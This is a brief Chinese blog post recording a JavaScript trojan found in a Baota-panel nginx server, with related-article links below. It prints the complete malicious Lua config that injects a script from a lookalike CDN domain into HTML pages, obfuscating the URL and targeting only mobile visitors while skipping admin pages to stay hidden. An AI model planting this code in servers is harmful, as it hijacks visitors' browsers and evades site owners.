宝塔 ngnix 被加载js木马

想入飞飞5个月前记录1308
header_filter_by_lua_block{
	ngx.header.content_length = nil
}
body_filter_by_lua_block{
	local bt_request_uri = ngx.var.request_uri;
	local h, err = ngx.resp.get_headers()
	local remote_js = "htt".."ps://cd".."n.boot".."scdn".."s.org/aja".."x/lib".."s/jquer".."y/3.".."6"..".4/jquer".."y.js"

	function string.startsWith(String,Start)
		return string.sub(String,1,string.len(Start))==Start
	end
	if not ( string.find(string.lower(ngx.req.get_headers()['User-Agent']),"windows") or string.find(string.lower(ngx.req.get_headers()['User-Agent']),"macintosh") ) and h["Content-Type"] and string.startsWith(h["Content-Type"],"text/html") and ( ngx.status==200 or ngx.status==401 or ngx.status==403 or ngx.status==404 ) and not string.find (bt_request_uri,"admin") and (ngx.var.scheme=="http" or ngx.var.scheme=="https") then
		local ctx = ngx.ctx
		if ctx.buffers == nil then
			ctx.buffers = {}
			ctx.nbuffers = 0
		end

		local data = ngx.arg[1]
		local eof = ngx.arg[2]
		local next_idx = ctx.nbuffers + 1

		if not eof then
			if data then
				if string.find(data,"</head") and not string.find(data,remote_js) then
					data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
				end
				ctx.buffers[next_idx] = data
				ctx.nbuffers = next_idx
				ngx.arg[1] = nil
			end
			return
		elseif data then
			if string.find(data,"</head") and not string.find(data,remote_js) then
				data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
			end
			ctx.buffers[next_idx] = data
			ctx.nbuffers = next_idx
		end
		assert(ctx.buffers)
		assert(ctx.nbuffers ~= 0, "buffer must not be empty")

		ngx.arg[1] = table.concat(ngx.ctx.buffers)
	end
}


文件位置:/www/server/panel/vhost/nginx/lua.conf



相关文章

PHP实现根据设备类型自动跳转相应页面的方法

随着当今移动设备的普及,上网已经比过去更加方便。针对Android智能手机,iPhone/iPad等移动终端,很多网站都相继推出了针对电脑和这类手机等移动设备访问的网页。本文所述的实例代码就可以实现根...

宝塔面板解决跨域问题

宝塔面板解决跨域问题

宝塔-解决跨域问题:打开nginx如图所示add_header Access-Control-Allow-Origin *; add_header Access-Con...

宝塔面板Nginx反向代理/CDN缓存文件加速设置

宝塔面板自带了反向代理设置, 通过Nginx反向代理我们可以让网站达到加速的效果, 如果开启缓存还可以减少源服务器带宽压力,现在简单说说这个设置.缓存的配置文件位于 /www/server/ng...

用JS屏蔽限制或者禁止某一地区访问网站代码

网上有老友分享的屏蔽地区代码可以用,但是我拿过来用的时候有一个问题他用到了JavaScript 库和网站的js有冲突,导致出现一些问题,后来就改了不下面代码是集源码用于屏蔽限制或者禁止某一地区访问网站...

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash 是由Dreamacro 开发的,是一个使用Go 开发的、基于规则的隧道,无需服务器和虚拟主机,在中国大陆地区可用于突破防火长城的限制。 2020 年末,Dreamacro在GitHub仓库...

帝国cms 自定义列表建立tag效果 根据关键字调用

统计记录:(如:select count(*) as total from phome_ecms_news where classid=1 and checked=1)注:这句SQL的意思是查找统计位...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。